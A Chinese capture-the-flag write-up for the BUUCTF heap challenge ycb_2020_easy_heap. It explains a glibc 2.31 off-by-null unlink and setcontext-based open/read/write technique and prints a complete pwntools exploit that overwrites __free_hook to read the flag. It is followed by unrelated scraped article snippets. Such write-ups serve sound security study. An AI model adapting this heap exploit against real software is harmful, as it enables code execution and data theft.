(BUUCTF)ycb_2020_easy_heap (glibc2.31的off-by-null + orw)

文章目录

  • 前置知识
  • 整体思路
    • 高版本的off-by-null
    • orw
  • exp

前置知识

  • 未初始化内存导致的地址泄露

  • 高版本下的off-by-null利用

  • glibc2.31下的orw做法

整体思路

非常综合的一道题目,和ciscn之前做过的一道silverwolf很相似,本道题目的glibc2.31的环境也让我这个只做过glibc2.27下的学到了很多。

分析程序,开启了沙盒,只禁用了execve

存在一个off-by-null可以利用。此外本题是addedit分开的,而且没有对申请到的内存清零,那么可以直接泄露想要的libcheap地址。

这道题目我认为可以分为三个部分,每一个部分都非常有意思:

  • 通过未初始化内存泄露libc地址和堆地址:
  • 通过高版本的off-by-null来获得重叠指针
  • 通过setcontext+61和一个rdxgadget结合使用,来orw读取flag

这里我不会直接分析这个题目的做法,因为我认为这个题的每个部分对于刚接触这部分知识的师傅们有难度,但是熟悉了就比较白给,因此我会略微介绍每个部分的知识点,并放上参考文章,主要针对off-by-nullorw

假如师傅们有疑问,欢迎私信我: )。

高版本的off-by-null

构造如下图所示:

image-20240113164151315

可能比较难以理解,我们详细、分步地解释:

注意,若我没有写对某个堆块free,那么它没有free。此外,我们需要提前泄露堆地址,保证每个堆块地址可知。

我们有三个chunk,分别是chunk1chunk2chunk3,其中chunk3是个large chunk,大小为0x500,另外两个为大小为0x30chunk

  • 我们通过chunk2chunk3prev_size等于0x50,并off-by-nullchunk3prev_in_use置为0
  • 正常情况的unlink我们需要知道一个指向合并后堆块的指针,那么我们在chunk2中写一个合并后堆块的地址,也就是在addr2处写一个addr1
  • chunk1中构造fake chunkfake chunksizefake chunk + chunk2的大小,这里为0x51
  • fake chunkfdaddr2-0x18,而bkaddr2-0x10,因为addr2存放的是它自己的地址,是个指向它自己的指针,绕过unlink安全检查。
  • freechunk3,此时通过chunk3prev_size来找到fake chunk,将fake chunk进行unlink,从而导致chunk1-3合并为一个。
  • 还需要注意的就是,glibc2.29下,从tcache中获得chunk还会检查对应tcache bincount是否大于0,大于0才可以申请。因此需要事先释放一个对应大小的chunk
  • 此时三个chunk会合并到fake chunk的位置而不是chunk1的位置。申请回一个大于fake chunk + chunk1大小的chunk,即可编辑chunk2,获得了chunk2的重叠指针。

参考文章:

高版本libc下的off by null_glibc高版本offbynull模板-CSDN博客

【八芒星计划】 OFF BY NULL_balsn_ctf_2019-plaintext-CSDN博客

BUUCTF\ ycb_2020_easy_heap - LynneHuan - 博客园 (cnblogs.com)

orw

【八芒星计划】 ORW-CSDN博客

setcontext+orw - 狒猩橙 - 博客园 (cnblogs.com)

[原创]CISCN2021 sliverwolf PWN400-Pwn-看雪-安全社区|安全招聘|kanxue.com****

exp

from pwn import *
from LibcSearcher import *filename = './ycb_2020_easy_heap'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libcif local:sh = process(filename)
else:sh = remote('node5.buuoj.cn', 28219)def debug():for an_log in all_logs:success(an_log)pid = util.proc.pidof(sh)[0]gdb.attach(pid)pause()choice_words = 'Choice:'menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''menu_del = 3
del_index_words = 'Index: 'menu_show = 4
show_index_words = 'Index: 'menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = ''
edit_content_words = 'Content: \n'def add(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_add))if add_index_words:sh.sendlineafter(add_index_words, str(index))if add_size_words:sh.sendlineafter(add_size_words, str(size))if add_content_words:sh.sendafter(add_content_words, content)def delete(index=-1):sh.sendlineafter(choice_words, str(menu_del))if del_index_words:sh.sendlineafter(del_index_words, str(index))def show(index=-1):sh.sendlineafter(choice_words, str(menu_show))if show_index_words:sh.sendlineafter(show_index_words, str(index))def edit(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_edit))if edit_index_words:sh.sendlineafter(edit_index_words, str(index))if edit_size_words:sh.sendlineafter(edit_size_words, str(size))if edit_content_words:sh.sendafter(edit_content_words, content)def leak_info(name, addr):output_log = '{} => {}'.format(name, hex(addr))all_logs.append(output_log)success(output_log)# -- 第一部分,泄露堆地址和libc地址 --add(size=0x20) # 0
add(size=0x20) # 1
delete(index=0)
delete(index=1)
add(size=0x20) # 0
show(index=0)
sh.recvuntil('Content: ')
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x2a0
leak_info('heap_base', heap_base)
add(size=0x20) # 1add(size=0x450) # 2
add(size=0x20) # 3
delete(index=2)
add(size=0x450) # 2
show(index=2)
sh.recvuntil('Content: ')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x1eabe0
leak_info('libc.address', libc.address)# -- 第二部分,通过off-by-null构造unlink --
add(size=0x28) # 4
add(size=0x28) # 5
add(size=0x4f0) # 6
add(size=0x20) # 7fake_chunk_addr = heap_base + 0x790
merge_addr = heap_base + 0x7c0payload = p64(0) + p64(0x51) + p64(merge_addr - 0x18) + p64(merge_addr - 0x10)
edit(index=4, content=payload)payload = p64(fake_chunk_addr).ljust(0x20, b'\x00') + p64(0x50)
edit(index=5, content=payload)delete(index=7) # 提前释放一个大小为0x30的chunk,因为glibc2.30中不允许tcache的count为0时从tcache中申请chunk
delete(index=6) # 触发off-by-null的unlink# -- 第三部分,重新申请回chunk,构造重叠指针,利用重叠指针修改free_hook为rdx的gadget,然后布置一系列堆块备用
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(size=0x100) # 6
payload = b'a'*0x18 + p64(0x31)
edit(index=6, content=payload)
delete(index=5)
payload = b'a'*0x18 + p64(0x31) + p64(libc.sym['__free_hook'])
edit(index=6, content=payload)
add(size=0x28) # 5
add(size=0x28) # 7, free_hook
add(size=0x430) # 8
add(size=0xf0) # 9
add(size=0xf0) # 10# -- 第四部分,将free_hook设置为这个gadget,通过这个gadget将rdx设置为另一个堆块地址,另一个堆块地址存放各个寄存器的值,同时rip设置为setcontext+61
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget_addr = libc.address + 0x154b90
orw_addr = heap_base + 0x8b0
setcontext = libc.sym['setcontext'] + 61
delete_chunk_addr = heap_base + 0xd20
set_chunk_addr = heap_base + 0xe20
ret_addr = libc.address + 0xbfb1bedit(index=7, content=p64(gadget_addr))
edit(index=5, content=b'/flag\x00')payload = p64(0) + p64(set_chunk_addr)
edit(index=9, content=payload)payload = b'\x00'.ljust(0x20, b'\x00') + p64(setcontext)
payload = payload.ljust(0xa0, b'\x00') + p64(orw_addr) + p64(ret_addr)
edit(index=10, content=payload)pop_rax = 0x28ff4 + libc.address
pop_rdi = 0x26bb2 + libc.address
pop_rsi = 0x2709c + libc.address
pop_rdx_r12 = 0x11c421 + libc.address
syscall_addr_ret = 0x66199 + libc.address
str_flag_addr = heap_base + 0x7c0orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(str_flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)edit(index=8, content=orw)
delete(index=9)
print(sh.recv().strip().decode())

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/237777.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

sublime中添加GBK编码模式

当写代码的中文注释时,编译代码出现如下错误: 解决办法,添加GBK模式: 1. 点击Preferences -> Package Control: 2. 在跳出来的搜索框里搜索conver, 点击ConverToUTF8 3. File左上角会多出GBK的选项 由…

k8s的存储卷、数据卷

容器内的目录和宿主机目录进行挂载。 容器在系统上的生命周期是短暂的。 k8s用控制器创建的pod。delete相当于重启。容器的状态也会恢复到初始状态。一旦恢复到初始状态,所有的后天编辑的文件都会消失 容器和节点之间创建一个可以持久化保存容器内文件的存储卷。…

一氧化碳中毒悲剧频发:探究道合顺电化学传感器促进家庭取暖安全

1月6日,陕西省榆林市发生了一起疑似因使用煤炭炉取暖中毒事件。通报称,经公安部门现场调查,并结合医院救治情况,初步判断5人属一氧化碳中毒,其中4人抢救无效死亡,令人痛心。 一般来说,这种在日…

React入门 - 04(从编写一个简单的 TodoList 说起)

继上一节我们已经对 React组件和 ”JSX语法“有了大概的了解,这一节我们继续在 react-demo这个工程里编写代码。这一节我们来简单实现一个 TodoList来更加了解编写组件的一些细节。 1、在编辑器中打开 react-demo这个工程 2、打开 index.js文件,将组件 …

mysql复制表的几种常用方法

遇到需要拷贝一个表及其数据的情况,总结了一下几种方法 1.使用 show create table 旧表 将结果拷贝出来,将旧表名换成新表名即可. 注意:该方法仅适用于拷贝表结构,不需要同步数据的情况 show create table 旧表名2.create table 新表 like 旧表 该语句将完全拷贝旧表结构, …

LeetCode讲解篇之216. 组合总和 III

文章目录 题目描述题解思路题解代码 题目描述 题解思路 使用递归回溯算法,当选择数字num后,在去选择大于num的合法数字,计算过程中的数字和,直到选择了k次,如果数组和等于n则加入结果集 从1开始选择数字,直…

【uview2.0】Keyboard 键盘 与 CodeInput 验证码输入 结合使用 uview

https://www.uviewui.com/components/codeInput.html &#xff08;CodeInput 验证码输入&#xff09; https://www.uviewui.com/components/keyboard.html &#xff08;Keyboard 键盘&#xff09; <u-keyboard mode"number" :dotDisabled"true" :show&q…

世微AP630X地摊灯 手电筒方案 可充电多功能LED灯

1,信息来源&#xff1a;深圳市世微半导体有限公司 Augus 2,产品的特性有&#xff1a; 全集成单芯片控制 5 照明循环模式可选 0.5A/1A 固定充电电流可选 内置 MOS 1.8A 驱动电流 可外置 MOS 驱动更大电流 充电指示/低电提示/短路提示 3A 手电筒过流保护? 预设 4.22V 电…

RV1126边缘计算AI盒子,支持4-6路1080p视频,2T 算力

1 产品概述 信迈推出基于瑞芯微Rockchip RV1126架构的AI边缘计算主板&#xff0c;RV1126芯片是四核ARM Cortex-A7,1.5GHz&#xff0c; RSIC-V 200MHz CPU &#xff0c;NPU2.0Tops。AI边缘计算主板外围接口丰富&#xff0c;拥有超强扩展性&#xff0c;可广泛应用在智慧安防、工…

centos7下升级openssh9.4p1及openssl1.1.1v版本

背景&#xff1a;客户服务器扫描出一些漏洞&#xff0c;发现和版本有关&#xff0c;漏洞最高的版本是9.3p2&#xff0c;所以我们安装一个openssh9.4p1版本及openssl1.1.1v版本 虽然我们进行了镜像备份&#xff0c;为了安全先安装telnet以防止升级失败无法通过ssh连接服务器 一…

数学建模day15-时间序列分析

时间序列也称动态序列&#xff0c;是指将某种现象的指标数值按照时间顺序排列而成的数值序列。时间序列分析大致可分成三大部分&#xff0c;分别是描述过去、分析规律和预测未来&#xff0c;本讲将主要介绍时间序列分析中常用的三种模型&#xff1a;季节分解、指数平滑方法和AR…

第 5 章 栈

文章目录 5.1 栈的一个实际需求5.2 栈的介绍5.3 栈的应用场景5.4 栈的快速入门5.5 栈实现综合计算器(中缀表达式)5.6 逆波兰计算器5.7 中缀表达式转换为后缀表达式5.7.1 具体步骤如下5.7.2 举例说明5.7.3 代码实现中缀表达式转为后缀表达式 5.8 逆波兰计算器完整版5.8.1 完整版…

vue3 img图片怎么渲染

在 Vue3 中加载图片&#xff08;img&#xff09;src地址时&#xff0c;出现无法加载问题。网上很多都建议使用 require 加载相对路径&#xff0c;如下&#xff1a; <img :src"require(../assets/img/icon.jpg)"/>但是按照这种方式加载又会报错如下&#xff1a;…

设计模式之空对象模式

目录 1.简介 2.结构图 3.实例 4.优缺点 1.简介 空对象模式也是我们平时编程用的比较多的一种行为型设计模式&#xff0c;它的宗旨在解决空对象引起的异常报错问题&#xff1b;在空对象模式&#xff08;Null Object Pattern&#xff09;中&#xff0c;一个空对象取代 Null 对…

【数据库】聊聊MVCC机制与BufferPool缓存机制

上一篇文章&#xff0c;介绍了隔离级别&#xff0c;MySQL默认是使用可重复读&#xff0c;但是在可重复读的级别下&#xff0c;可能会出现幻读&#xff0c;也就是读取到另一个session添加的数据&#xff0c;那么除了配合使用间隙锁的方式&#xff0c;还使用了MVCC机制解决&#…

企业级大数据安全架构(三)修改集群节点hostname

作者&#xff1a;楼高 在后续安装FreeIPA的过程中&#xff0c;要求机器名必须包含完整的域名信息。如果之前在Ambari集群节点上的机器名不符合这个要求&#xff0c;可以按照以下步骤在Ambari上修改所有节点的机器名&#xff1a; 1.部署节点说明 本次测试是三台 ambari 节点&…

迅为RK3568开发板Android11/12/Linux编译驱动到内核

在平时的驱动开发中&#xff0c;经常需要在内核中配置某种功能&#xff0c;为了方便大家开发和学习&#xff0c;本小 节讲解如何在内核中添加驱动。具体的讲解原理讲解请参考本手册的驱动教程。 Android11 源码如果想要修改内核&#xff0c;可以运行以下命令进行修改: cd ke…

reactNative0.71版本的使用

开发环境配置 参考reactNative 官网 版本选中0.71 打包配置 1. IOS 打开项目 -> 进入ios目录->执行命令 pod install ->项目名称.xcworkspace -> 使用xcode打开->配置证书 证书配置截图如下 &#x1f4a1;tips&#xff1a;TARGETS目录下会有多个文件&#x…

计算机图形学流体模拟 blender 渲染脚本

做流体模拟的时候&#xff0c;想要复现别人的成果&#xff0c;但是别人的代码都是每帧输出 ply 格式的文件&#xff0c;渲染部分需要自己完成 看了一下&#xff0c;似乎用 blender 是最简单的&#xff0c;于是记录一下过程中用到的代码 Blender 版本 4.0 批量导入 ply 假设…

Hyperledger Fabric 通道配置文件解析

fabric 版本 v2.4.1 Fabric 网络是分布式系统&#xff0c;采用通道配置&#xff08;Channel Configuration&#xff09;来定义共享账本的各项行为。通道配置的管理对于网络功能至关重要。 通道配置一般包括通道全局配置、排序配置和应用配置等多个层级&#xff0c;这些配置都存…